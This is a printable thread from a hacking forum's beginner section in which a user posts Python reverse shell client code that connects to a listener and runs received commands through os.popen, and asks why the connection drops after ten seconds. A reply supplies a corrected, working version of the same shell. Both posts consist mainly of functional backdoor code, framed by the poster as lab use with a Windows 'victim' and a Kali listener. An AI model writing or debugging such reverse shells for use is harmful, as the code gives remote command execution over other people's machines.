Hack Forums
Help with Python reverse shell connection drops after 10 secon - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+---- Thread: Help with Python reverse shell connection drops after 10 secon (/showthread.php?tid=6326063)



Help with Python reverse shell connection drops after 10 secon - g_walterpeter - May 25, 2026

Hey everyone,

I'm working on a small Python reverse shell for educational purposes (my own lab environment). Everything works fine, but the connection drops after exactly 10 seconds every time. No errors on either side.

Here's a simplified version of my client code:

python
import socket

s = socket.socket()
s.connect(("127.0.0.1", 4444))
while True:
cmd = s.recv(1024).decode()
if cmd.lower() == "exit":
break
output = os.popen(cmd).read()
s.send(output.encode())
s.close()
I'm testing on Windows 10 (victim) and Kali (listener). No AV running. Tried adding time.sleep(1) and checking for closed sockets but still the same issue.

Anyone seen this before? Could it be a firewall on the Windows side or something with recv() timing out?

Thanks in advance.


RE: Help with Python reverse shell connection drops after 10 secon - Crum - May 30, 2026

Hmm could be some firewall problems, other wise try this?

Code
import socket
import os

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 4444))

while True:
    cmd = s.recv(1024)
    if not cmd:
        break
    cmd = cmd.decode().strip()
    if cmd.lower() == "exit":
        break
    output = os.popen(cmd).read()
    s.sendall(output.encode())

s.close()